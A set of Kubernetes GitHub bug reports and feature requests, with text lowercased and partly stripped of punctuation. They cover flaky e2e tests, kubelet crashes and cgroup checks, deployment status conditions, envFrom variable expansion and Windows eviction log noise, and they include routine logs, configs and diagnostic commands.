which jobs are flaking  :\r   ci-kubernetes-e2e-gce-new-master-upgrade-cluster\r   ci-kubernetes-e2e-gce-master-new-downgrade-cluster\r   ci-kubernetes-e2e-gce-new-master-upgrade-master\r \r   which test s  are flaking  :\r   sig-storage  csi volumes  driver: pd.csi.storage.gke.io  serial   testpattern: dynamic pv  default fs   subpath should unmount if pod is gracefully deleted while kubelet is down  disruptive  slow  \r \r   testgrid link  :\r   https://testgrid.k8s.io/sig-release-master-upgrade gce-new-master-upgrade-cluster\r   https://testgrid.k8s.io/sig-release-master-upgrade gce-master-new-downgrade-cluster\r   https://testgrid.k8s.io/sig-release-master-upgrade gce-new-master-upgrade-master\r \r   reason for failure  :\r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/testsuites/subpath.go:305\r expected grep stdout to be empty  i.e. no mount found .\r expected\r     <string>: /dev/sdb on /var/lib/kubelet/pods/e7cca97f-3b9e-11e9-9081-42010a8a0002/volumes/kubernetes.io~csi/pvc-e2c79d44-3b9e-11e9-9081-42010a8a0002/mount type ext4  rw,relatime,data=ordered \r     /dev/sdb on /var/lib/kubelet/pods/e7cca97f-3b9e-11e9-9081-42010a8a0002/volumes/kubernetes.io~csi/pvc-e2c79d44-3b9e-11e9-9081-42010a8a0002/mount type ext4  rw,relatime,data=ordered \r     /dev/sdb on /home/kubernetes/containerized_mounter/rootfs/var/lib/kubelet/pods/e7cca97f-3b9e-11e9-9081-42010a8a0002/volumes/kubernetes.io~csi/pvc-e2c79d44-3b9e-11e9-9081-42010a8a0002/mount type ext4  rw,relatime,data=ordered \r     /dev/sdb on /home/kubernetes/containerized_mounter/rootfs/var/lib/kubelet/pods/e7cca97f-3b9e-11e9-9081-42010a8a0002/volumes/kubernetes.io~csi/pvc-e2c79d44-3b9e-11e9-9081-42010a8a0002/mount type ext4  rw,relatime,data=ordered \r     \r to be empty\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/utils/utils.go:255\r    \r \r   anything else we need to know  :\r   this fails about 15%-18%  up to 23%  of the time in sig-release dashboards\r   important to resolve due to significant flake rate,  https://github.com/kubernetes/kubernetes/issues/75045 and https://github.com/kubernetes/kubernetes/issues/75275 are higher    the same test for a different driver was recently stabilised: https://github.com/kubernetes/kubernetes/issues/75196\r    triage link  https://storage.googleapis.com/k8s-gubernator/triage/index.html?job=ci-kubernetes-e2e-gce. master. &test=pd.csi.storage.gke.io. gracefully%20deleted%20while%20kubelet%20is%20down   points to jobs on sig-release dashboards only \r \r   /remove-kind failing-test\r /

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r \r kubectl describe pod  xxx  not show csi inline volume, it shows <unknow>\r \r ! image  https://user-images.githubusercontent.com/12230714/54699583-43597c80-4b6c-11e9-8ff6-c2196166a0aa.png \r \r \r   what you expected to happen  :\r show csi inline volume normally like this \r \r ! image  https://user-images.githubusercontent.com/12230714/54699770-a3502300-4b6c-11e9-8a78-2098f0af8cc1.png \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. create a pod with inline csi volume\r 2. kubectl describe pod  xxx  not show csi inline volume\r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.14 beta2 \r - cloud provider or hardware configuration:\r - os  e.g:  cat /etc/os-release  :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

what keywords did you search in kubernetes issues before filing this one?    io, docker, docker rmi, nodenotready    is this a bug report or feature request?    choose one : do not know. i try bug report.    kubernetes version    use  kubectl version  :  root@admin01 ~   kubectl version client version: version.info{major:\ 1\ , minor:\ 2\ , gitversion:\ v1.2.0\ , gitcommit:\ a4463d9a1accc9c61ae90ce5d314e248f16b9f05\ , gittreestate:\ clean\ } server version: version.info{major:\ 1\ , minor:\ 2\ , gitversion:\ v1.2.0\ , gitcommit:\ a4463d9a1accc9c61ae90ce5d314e248f16b9f05\ , gittreestate:\ clean\ }    environment  : -   cloud provider or hardware configuration  :   vms on vmware -   os    e.g. from /etc/os-release :   centos 7 -   kernel    e.g.  uname -a  :    root@admin01 ~   uname -a   linux admin01.intern.xxxx.de 3.10.0-327.28.2.el7.x86_64  1 smp wed aug 3 11:11:39 utc 2016 x86_64 x86_64 x86_64 gnu/linux -   install tools  :   ansible -   others  :   overlayfs    what happened  : when the node becomes has higher io consumption the node instantly becomes nodenotready on the admin. i am able to reproduce it all the time when running \ docker rmi\  wiht any image i don t use anymore.    what you expected to happen  : node should be up even, if i issue docker rmi.    how to reproduce it    as minimally and precisely as possible : docker rmi  imageid     anything else do we need to know  : maybe this is also a docker problem, but i can t tell. i need someone to veryify.  i had the feeling that the system used all its resources to fullfill the need of docker rmi.  ionice and docker rmi did not help.

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->    is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no    what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : kube-apiserver.log kube api logs log file link  ---    is this a bug report or feature request?    choose one :  <!-- if this is a bug report, please:   - fill in as much of the template below as you can.  if you leave out     information, we can't help you as well.  if this is a feature request, please:   - describe  in detail  the feature/behavior/change you'd like to see.  in both cases, be ready for followup questions, and please respond in a timely manner.  if we can't reproduce a bug or think a feature already exists, we might close your issue.  if we're wrong, please feel free to reopen it and explain why. -->    kubernetes version    use  kubectl version  : server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.3\ , gitcommit:\ 4957b090e9a4f6a68b4a40375408fdc74a212260\ , gittreestate:\ clean\ , builddate:\ 2016-10-16t06:20:04z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }    environment  : -   cloud provider or hardware configuration  : aws -   os    e.g. from /etc/os-release : what kops provisions by default -   kernel    e.g.  uname -a  : what kops provisions by default -   install tools  : kops -   others  :    what happened  : the html links generated by the kube api server for the /logs endpoint do not prefix the filename with /logs.    what you expected to happen  : clicking the link to a log file should result in a request get /logs/kube-apiserver.log    how to reproduce it    as minimally and precisely as possible : request to api server: get /logs  click link for kube-apiserver.log    anything else do we need to know  : no

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-reboot-release-1.5/348/  multiple broken tests:  failed:  k8s.io  reboot  disruptive   feature:reboot  each node by triggering kernel panic and ensure they function upon restart {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/reboot.go:105 dec  2 00:41:16.838: test failed; at least one node failed to reboot in the time given. /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/reboot.go:159     issues about this test specifically:  34123  35398   failed:  k8s.io  reboot  disruptive   feature:reboot  each node by switching off the network interface and ensure they function upon switch on {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/reboot.go:111 dec  2 00:51:30.053: test failed; at least one node failed to reboot in the time given. /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/reboot.go:159     issues about this test specifically:  33407  33623   failed:  k8s.io  reboot  disruptive   feature:reboot  each node by ordering clean reboot and ensure they function upon restart {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/reboot.go:93 dec  2 01:01:43.786: test failed; at least one node failed to reboot in the time given. /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/reboot.go:159     issues about this test specifically:  33874   failed:  k8s.io  reboot  disruptive   feature:reboot  each node by dropping all inbound packets for a while and ensure they function afterwards {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/reboot.go:119 dec  2 01:11:57.783: test failed; at least one node failed to reboot in the time given. /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/reboot.go:159     issues about this test specifically:  33405   failed:  k8s.io  reboot  disruptive   feature:reboot  each node by ordering unclean reboot and ensure they function upon restart {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/reboot.go:99 dec  2 00:20:53.733: test failed; at least one node failed to reboot in the time given. /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/reboot.go:159     issues about this test specifically:  33882  35316   failed:  k8s.io  reboot  disruptive   feature:reboot  each node by dropping all outbound packets for a while and ensure they function afterwards {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/reboot.go:127 dec  2 00:31:07.215: test failed; at least one node failed to reboot in the time given. /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/reboot.go:159     issues about this test specifically:  33703  36230  previous issues for this suite:  37776  37879

i saw this on one of our gke tests that run from head. full dump below:\r    \r sudo systemctl status kube-master-configuration\r ● kube-master-configuration.service - configure kubernetes master\r    loaded: loaded  /etc/systemd/system/kube-master-configuration.service; enabled; vendor preset: disabled \r    active: failed  result: exit-code  since fri 2017-01-13 09:13:45 utc; 1h 39min ago\r   process: 1262 execstart=/home/kubernetes/bin/configure-helper.sh  code=exited, status=1/failure \r   process: 1258 execstartpre=/bin/chmod 544 /home/kubernetes/bin/mounter  code=exited, status=0/success \r   process: 1255 execstartpre=/bin/chmod 544 /home/kubernetes/bin/configure-helper.sh  code=exited, status=0/success \r  main pid: 1262  code=exited, status=1/failure \r \r jan 13 09:13:45 gke-960651056514-22510dc8a6f938558e24 configure-helper.sh 1262 : directory hash seed:      ba50a9e5-27ea-4318-b28b-87933e415a84\r jan 13 09:13:45 gke-960651056514-22510dc8a6f938558e24 configure-helper.sh 1262 : journal backup:           inode blocks\r jan 13 09:13:45 gke-960651056514-22510dc8a6f938558e24 configure-helper.sh 1262 : mounting '/dev/disk/by-id/google-master-pd' at '/mnt/disks/master-pd'\r jan 13 09:13:45 gke-960651056514-22510dc8a6f938558e24 configure-helper.sh 1262 : mounted master-pd '/dev/disk/by-id/google-master-pd' at '/mnt/disks/master-pd'\r jan 13 09:13:45 gke-960651056514-22510dc8a6f938558e24 useradd 1323 : new group: name=etcd, gid=5015\r jan 13 09:13:45 gke-960651056514-22510dc8a6f938558e24 useradd 1323 : new user: name=etcd, uid=5015, gid=5015, home=/var/etcd, shell=/sbin/nologin\r jan 13 09:13:45 gke-960651056514-22510dc8a6f938558e24 configure-helper.sh 1262 : useradd: warning: the home directory already exists.\r jan 13 09:13:45 gke-960651056514-22510dc8a6f938558e24 configure-helper.sh 1262 : not copying any file from skel directory into it.\r jan 13 09:13:45 gke-960651056514-22510dc8a6f938558e24 configure-helper.sh 1262 : creating master auth files\r jan 13 09:13:45 gke-960651056514-22510dc8a6f938558e24 configure-helper.sh 1262 : /home/kubernetes/bin/configure-helper.sh: line 227: kube_bearer_token: unbound variable\r    \r \r cc @kubernetes/sig-cluster-lifecycle-misc @roberthbailey @mikedanese

with cri rolling out in 1.6, the kubelet log content will change a lot. to help developers/users triage issues, we should try to clean up the log messages and remove as many false signals as possible.\r \r assigning to myself for easy tracking. feel free to assign yourself if you'd like to help.\r \r /cc @random-liu @freehan @feiskyer

i can discover what api groups are present on my cluster using  kubectl api-versions .\r however, i cannot find out what kinds are in each group.\r \r if i knew what kinds there were, then i could do  kubectl get $kind  or  kubectl explain $kind .\r \r top-down exploration will become more important as there are more tprs and aas being installed into clusters.\r \r the request here is to have a command that tells the kinds inside a specific api-version.

https://k8s-testgrid.appspot.com/release-1.7-blocking gke-slow-release-1-7\r \r @bowei - can you please triage?\r \r this will be blocking 1.7.3 release cut.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r in kubernetes 1.6.4, i configure kubelet with parameter ' --system-reserved=cpu=500m,memory=400mi --system-reserved-cgroup=/system --enforce-node-allocatable=pods,system-reserved'. kubelet work failed, and output group /system not exist. \r the output kublet log is:\r kubelet.go:1246  failed to start containermanager failed to enforce system reserved cgroup limits on \ /system\ : \ /system\  cgroup does not exist.\r \r   what you expected to happen  :\r kublet work well, and setting --system-reserved can isolate the resources reserved for system process.\r \r   how to reproduce it  as minimally and precisely as possible   :\r run kubernetes 1.6.4 on fedora atomic 25. and setting the startup parameters --system-reserved=cpu=500m,memory=400mi --system-reserved-cgroup=/system --enforce-node-allocatable=pods,system-reserved  for kubelet process\r \r   anything else we need to know?  :\r from the kubelet code v1.6.4, know it will first check --system-reserved-cgroup cgroup exist. the check way is see system.slice is exist in all subsystem.\r \r check the fedora os, i can know\r  fedora@fedora-atomic ~ $ sudo find /sys/fs/cgroup -name \ system.slice\ \r /sys/fs/cgroup/memory/system.slice\r /sys/fs/cgroup/devices/system.slice\r /sys/fs/cgroup/pids/system.slice\r /sys/fs/cgroup/cpu,cpuacct/system.slice\r /sys/fs/cgroup/systemd/system.slice\r \r and check the latest kubelet code, i find the code is like this\r    \r // exists checks if all subsystem cgroups already exist\r func  m  cgroupmanagerimpl  exists name cgroupname  bool {\r \t// get map of all cgroup paths on the system for the particular cgroup\r \tcgrouppaths := m.buildcgrouppaths name \r \r \t// the presence of alternative control groups not known to runc confuses\r \t// the kubelet existence checks.\r \t// ideally, we would have a mechanism in runc to support exists   logic\r \t// scoped to the set control groups it understands.  this is being discussed\r \t// in https://github.com/opencontainers/runc/issues/1440\r \t// once resolved, we can remove this code.\r \twhitelistcontrollers := sets.newstring \ cpu\ , \ cpuacct\ , \ cpuset\ , \ memory\ , \ hugetlb\ , \ systemd\  \r \r \t// if even one cgroup path doesn't exist, then the cgroup doesn't exist.\r \tfor controller, path := range cgrouppaths {\r \t\t// ignore mounts we don't care about\r \t\tif !whitelistcontrollers.has controller  {\r \t\t\tcontinue\r \t\t}\r \t\tif !libcontainercgroups.pathexists path  {\r \t\t\treturn false\r \t\t}\r \t}\r \r \treturn true\r }\r    \r only check the  subsystem defined in whitelistcontrollers. but the default system, system.slice not exists in  hugetlb subsystem.\r \r and more important, in kubelet, this is not relevant to hugetlb subsystem. i think can delete 'hugetlb' from the  whitelistcontrollers.\r \r \r \r   environment  :\r - kubernetes version  use  kubectl version  :kubernetes 1.6.4 \r - cloud provider or hardware configuration  :none\r - os  e.g. from /etc/os-release :\r  fedora@test2 cgroup $ cat  /etc/os-release\r name=fedora\r version=\ 25  atomic host \ \r id=fedora\r version_id=25\r pretty_name=\ fedora 25  atomic host \ \r ansi_color=\ 0;34\ \r cpe_name=\ cpe:/o:fedoraproject:fedora:25\ \r home_url=\ https://fedoraproject.org/\ \r bug_report_url=\ https://bugzilla.redhat.com/\ \r redhat_bugzilla_product=\ fedora\ \r redhat_bugzilla_product_version=25\r redhat_support_product=\ fedora\ \r redhat_support_product_version=25\r privacy_policy_url=https://fedoraproject.org/wiki/legal:privacypolicy\r variant=\ atomic host\ \r variant_id=atomic.host\r \r - kernel  e.g.  uname -a  :\r linux test2.novalocal 4.10.14-200.fc25.x86_64  1 smp wed may 3 22:52:30 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r   what happened  :\r \r a completely new k8s v1.9.3 cluster  3 controller nodes, 5 worker nodes  following kelseyhightower's kubernetes-the-hard-way tutorial running on coreos beta shows the following kubelet crashes on all workers. the runtime is rkt  using the rktlet implmentation from  1  . no pods have been installed, \r \r 1: https://github.com/kubernetes-incubator/rktlet\r \r feb 16 11:43:48 corea-worker0.obfuscated.doman.net kubelet 8851 : i0216 11:43:48.995028    8851 manager.go:1027  destroyed container: \ /system.slice/etcd-member.service\   aliases:   , namespace: \ \  \r feb 16 11:43:48 corea-worker0.obfuscated.doman.net kubelet 8851 : i0216 11:43:48.996088    8851 handler.go:325  added event &{/system.slice/etcd-member.service 2018-02-16 11:43:48.996072745 +0000 utc m=+12.554381793 containerdeletion {<nil>}}\r feb 16 11:43:48 corea-worker0.obfuscated.doman.net kubelet 8851 : i0216 11:43:48.997557    8851 factory.go:112  using factory \ rkt\  for container \ /system.slice/etcd-member.service\ \r feb 16 11:43:49 corea-worker0.obfuscated.doman.net kubelet 8851 : i0216 11:43:49.000003    8851 manager.go:970  added container: \ /system.slice/etcd-member.service\   aliases:   rkt://055ea29c-6312-4c9f-9b9f-dae188494863 , namespace: \ rkt\  \r feb 16 11:43:49 corea-worker0.obfuscated.doman.net kubelet 8851 : i0216 11:43:49.000422    8851 handler.go:325  added event &{/system.slice/etcd-member.service 2018-02-16 11:41:17.261966082 +0000 utc containercreation {<nil>}}\r feb 16 11:43:49 corea-worker0.obfuscated.doman.net kubelet 8851 : panic: runtime error: invalid memory address or nil pointer dereference\r feb 16 11:43:49 corea-worker0.obfuscated.doman.net kubelet 8851 :  signal sigsegv: segmentation violation code=0x1 addr=0x20 pc=0x1906a40 \r feb 16 11:43:49 corea-worker0.obfuscated.doman.net kubelet 8851 : goroutine 317  running :\r feb 16 11:43:49 corea-worker0.obfuscated.doman.net kubelet 8851 : k8s.io/kubernetes/vendor/github.com/google/cadvisor/container/rkt.  rktcontainerhandler .start 0xc4203b75e0 \r feb 16 11:43:49 corea-worker0.obfuscated.doman.net kubelet 8851 :         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/google/cadvisor/container/rkt/handler.go:186 +0x30\r feb 16 11:43:49 corea-worker0.obfuscated.doman.net kubelet 8851 : k8s.io/kubernetes/vendor/github.com/google/cadvisor/manager.  containerdata .housekeeping 0xc4204ab680 \r feb 16 11:43:49 corea-worker0.obfuscated.doman.net kubelet 8851 :         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/google/cadvisor/manager/container.go:429 +0x4b\r feb 16 11:43:49 corea-worker0.obfuscated.doman.net kubelet 8851 : created by k8s.io/kubernetes/vendor/github.com/google/cadvisor/manager.  containerdata .start\r feb 16 11:43:49 corea-worker0.obfuscated.doman.net kubelet 8851 :         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/google/cadvisor/manager/container.go:106 +0x3f\r feb 16 11:43:49 corea-worker0.obfuscated.doman.net rkt 727 : 2018/02/16 11:43:49 transport: http2server.handlestreams failed to read frame: read tcp 127.0.0.1:15441->127.0.0.1:47244: read: connection reset by peer\r feb 16 11:43:49 corea-worker0.obfuscated.doman.net systemd 1 : kubelet.service: main process exited, code=exited, status=2/invalidargument\r feb 16 11:43:49 corea-worker0.obfuscated.doman.net systemd 1 : kubelet.service: failed with result 'exit-code'.\r \r \r \r   what you expected to happen  :\r \r the kubelet not to crash and to stay up.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r re-install a fresh k8s cluster. no pods, nothing fancy.\r \r   anything else we need to know?  :\r \r core@corea-worker0 ~ $ systemctl cat kubelet.service\r   /etc/systemd/system/kubelet.service\r  unit \r description=kubernetes kubelet\r documentation=https://github.com/kubernetes/kubernetes\r \r  service \r execstart=/opt/kubernetes/bin/kubelet \\\r   --alsologtostderr \\\r   --allow-privileged=true \\\r   --anonymous-auth=false \\\r   --authorization-mode=webhook \\\r   --cgroup-driver=systemd \\\r   --client-ca-file=/var/lib/kubernetes/ca.pem \\\r   --cloud-provider= \\\r   --cluster-dns=10.122.0.10 \\\r   --cluster-domain=cluster.local \\\r   --cni-conf-dir=/etc/rkt/net.d/ \\\r   --container-runtime=remote \\\r   --container-runtime-endpoint=unix:///var/run/rktlet.sock \\\r   --image-pull-progress-deadline=2m \\\r   --image-service-endpoint=unix:///var/run/rktlet.sock \\\r   --kubeconfig=/var/lib/kubelet/kubeconfig \\\r   --network-plugin=cni \\\r   --pod-cidr=10.123.58.0/24 \\\r   --register-node=true \\\r   --runtime-request-timeout=15m \\\r   --tls-cert-file=/var/lib/kubelet/corea-worker0.obfuscated.doman.net.pem \\\r   --tls-private-key-file=/var/lib/kubelet/corea-worker0.obfuscated.doman.net-key.pem \\\r   --v=4\r restart=on-failure\r restartsec=5\r \r  install \r wantedby=multi-user.target\r \r   environment  :\r - kubernetes version  use  kubectl version  : client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.3\ , gitcommit:\ d2835416544f298c919e2ead3be3d0864b52323b\ , gittreestate:\ clean\ , builddate:\ 2018-02-07t12:22:21z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration: coreos beta channel running as vms via libvirt on a ubuntu lts amd64.\r \r - os  e.g. from /etc/os-release :\r core@corea-worker0 ~ $ cat /etc/os-release \r name=\ container linux by coreos\ \r id=coreos\r version=1662.1.0\r version_id=1662.1.0\r build_id=2018-02-01-0107\r pretty_name=\ container linux by coreos 1662.1.0  ladybug \ \r ansi_color=\ 38;5;75\ \r home_url=\ https://coreos.com/\ \r bug_report_url=\ https://issues.coreos.com\ \r coreos_board=\ amd64-usr\ \r \r \r - kernel  e.g.  uname -a  :\r core@corea-worker0 ~ $ uname -a\r linux corea-worker0.obfuscated.domain.net 4.14.15-coreos  1 smp thu feb 1 00:43:57 utc 2018 x86_64 intel core processor  haswell, no tsx  genuineintel gnu/linux\r \r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r   >  \r \r   what happened  :\r deployment condition doesn't indicate that its replicas are not being ready\r \r   what you expected to happen  :\r \r condition to reflect that replicas are not ready\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   create a deployment with invalid image; used  kubectl run test --image=nginx123 \r   pod gets stuck in imagepullbackoff loop\r   deployment status is controversial - status.conditions minimumreplicasavailable =true while \ unavailablereplicas\ : 1\r \r \r    \r  \ status\ : {\r         \ conditions\ :  \r             {\r                 \ lasttransitiontime\ : \ 2018-03-14t22:59:11z\ ,\r                 \ lastupdatetime\ : \ 2018-03-14t22:59:11z\ ,\r                 \ message\ : \ deployment has minimum availability.\ ,\r                 \ reason\ : \ minimumreplicasavailable\ ,\r                 \ status\ : \ true\ ,\r                 \ type\ : \ available\ \r             }\r          ,\r         \ observedgeneration\ : 1,\r         \ replicas\ : 1,\r         \ unavailablereplicas\ : 1,\r         \ updatedreplicas\ : 1\r     }\r    \r \r \r   anything else we need to know?  :\r \r we do a lot of integration work with k8s, and rely on conditions to reflect the object state, in somewhat generic manner. it doesn't work for this particular use case as the condition says the deployment is ready, while it is not quite true.\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.9.2-gke.1\r - cloud provider or hardware configuration: gke\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r 

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r tried to use the variable expansion feature by using an environment in a  configmap  by using   envfrom  thing.\r \r   what you expected to happen  :\r \r expand variable.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. create a  secret  with a data key  db_password: xxxx \r 2. create a  configmap  with a data key  db_url: postgres://user:$ db_password  \r 3. create a pod with an  envfrom  with both the  secret  and the  configmap \r \r you will see that  db_url  is not expanded.\r \r   anything else we need to know?  :\r \r this is working if i use  env  instead of  envfrom :\r \r    \r  ... \r               env:\r                 - name: database_url\r                   value: postgres://hydra:$ db_password @cockroachdb-public.database-system.svc.cluster.local:26257/hydra?sslmode=require\r               envfrom:\r                 - configmapref:\r                   name: myconfigmap\r  ... \r    \r \r   environment  :\r \r - kubernetes version  use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.3\ , gitcommit:\ a4529464e4629c21224b3d52edfe0ea91b072862\ , gittreestate:\ clean\ , builddate:\ 2018-09-10t11:44:36z\ , goversion:\ go1.11\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10+\ , gitversion:\ v1.10.7-gke.1\ , gitcommit:\ 7221ffe8776f399448d61b4dc9edb5c69232aece\ , gittreestate:\ clean\ , builddate:\ 2018-08-29t23:11:12z\ , goversion:\ go1.9.3b4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration:\r \r gke\r

what happened  :\r  \r i've deployed a k8s v1.13.2 cluster with windows v1809 nodes using aks-engine v29.1. in trying to debug a problem i noticed the kubelet.err logs are still spewing \ eviction manager: no observation found for eviction signal nodefs.inodesfree\  entries very frequently. bug  66088  https://github.com/kubernetes/kubernetes/issues/66088  calls this out and was closed, i was unable to reopen it.\r \r   what you expected to happen  :\r i would expect this metric to be implemented, and no error logs\r \r   how to reproduce it  as minimally and precisely as possible   :\r deployed a k8s v1.13.2 cluster with windows v1809 nodes using aks-engine v29.1. pushed some deployments to the cluster. logs show this event frequently.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.13.2\r - cloud provider or hardware configuration: azure  aks-engine v29.1 \r - os  e.g. from /etc/os-release : windows v1809\r - kernel  e.g.  uname -a  : v10.0.17763.292\r - install tools:\r - others:\r snippet from my logs:\r    \r w0203 02:47:34.797305    5280 helpers.go:808  eviction manager: no observation found for eviction signal nodefs.inodesfree\r w0203 02:48:00.864228    5280 helpers.go:808  eviction manager: no observation found for eviction signal nodefs.inodesfree\r w0203 02:48:26.986706    5280 helpers.go:808  eviction manager: no observation found for eviction signal nodefs.inodesfree\r w0203 02:48:53.055535    5280 helpers.go:808  eviction manager: no observation found for eviction signal nodefs.inodesfree\r w0203 02:49:19.145937    5280 helpers.go:808  eviction manager: no observation found for eviction signal nodefs.inodesfree\r w0203 02:49:45.219375    5280 helpers.go:808  eviction manager: no observation found for eviction signal nodefs.inodesfree\r w0203 02:50:11.304588    5280 helpers.go:808  eviction manager: no observation found for eviction signal nodefs.inodesfree\r w0203 02:50:36.408617    5280 helpers.go:808  eviction manager: no observation found for eviction signal nodefs.inodesfree\r w0203 02:51:02.479877    5280 helpers.go:808  eviction manager: no observation found for eviction signal nodefs.inodesfree\r w0203 02:51:27.597207    5280 helpers.go:808  eviction manager: no observation found for eviction signal nodefs.inodesfree\r i0203 02:51:46.807016    5280 fake_cpu_manager.go:45   fake cpumanager  removecontainer  container id: de04eeb3f21342a5070befabff79be8ff4132c9b35fe13681411d78d26a920e3 \r i0203 02:51:47.272028    5280 fake_cpu_manager.go:40   fake cpumanager  addcontainer  pod: dev-fossil-api-6866f798cc-5kkbg, container: api, container id: 218dcf9be784b130ce79b95240cadfe0f69831b66ec0cd4cd40833927d9ee86a \r w0203 02:51:51.664365    5280 helpers.go:808  eviction manager: no observation found for eviction signal nodefs.inodesfree\r w0203 02:52:15.755301    5280 helpers.go:808  eviction manager: no observation found for eviction signal nodefs.inodesfree\r w0203 02:52:18.444564    5280 prober.go:103  no ref for container \ docker://de04eeb3f21342a5070befabff79be8ff4132c9b35fe13681411d78d26a920e3\   dev-fossil-api-6866f798cc-5kkbg_default 4c3dab76-2656-11e9-8433-000d3a0762aa :api \r w0203 02:52:39.823342    5280 helpers.go:808  eviction manager: no observation found for eviction signal nodefs.inodesfree\r i0203 02:52:41.223557    5280 fake_cpu_manager.go:45   fake cpumanager  removecontainer  container id: 79c2b74c10732182f33c6fc81c6056cce0548062a50795b0637e1826e1bbd445 \r i0203 02:52:41.244558    5280 fake_cpu_manager.go:45   fake cpumanager  removecontainer  container id: de04eeb3f21342a5070befabff79be8ff4132c9b35fe13681411d78d26a920e3 \r w0203 02:53:03.885141    5280 helpers.go:808  eviction manager: no observation found for eviction signal nodefs.inodesfree\r e0203 02:53:16.341354    5280 cni.go:324  error adding default_dev-fossil-api-6866f798cc-5kkbg/218dcf9be784b130ce79b95240cadfe0f69831b66ec0cd4cd40833927d9ee86a to network azure-vnet/azure: netplugin failed but error parsing its diagnostic message \ {\     \\\ cniversion\\\ : \\\ 0.3.0\\\ ,\     \\\ interfaces\\\ :  \         {\             \\\ name\\\ : \\\ eth0\\\ \         }\      ,\     \\\ dns\\\ : {}\ }{\     \\\ code\\\ : 100,\     \\\ msg\\\ : \\\ a virtual machine or container with the specified identifier does not exist.\\\ \ }\ : invalid character '{' after top-level value\r e0203 02:53:16.341354    5280 cni_windows.go:50  error while adding to cni network: netplugin failed but error parsing its diagnostic message \ {\     \\\ cniversion\\\ : \\\ 0.3.0\\\ ,\     \\\ interfaces\\\ :  \         {\             \\\ name\\\ : \\\ eth0\\\ \         }\      ,\     \\\ dns\\\ : {}\ }{\     \\\ code\\\ : 100,\     \\\ msg\\\ : \\\ a virtual machine or container with the specified identifier does not exist.\\\ \ }\ : invalid character '{' after top-level value\r

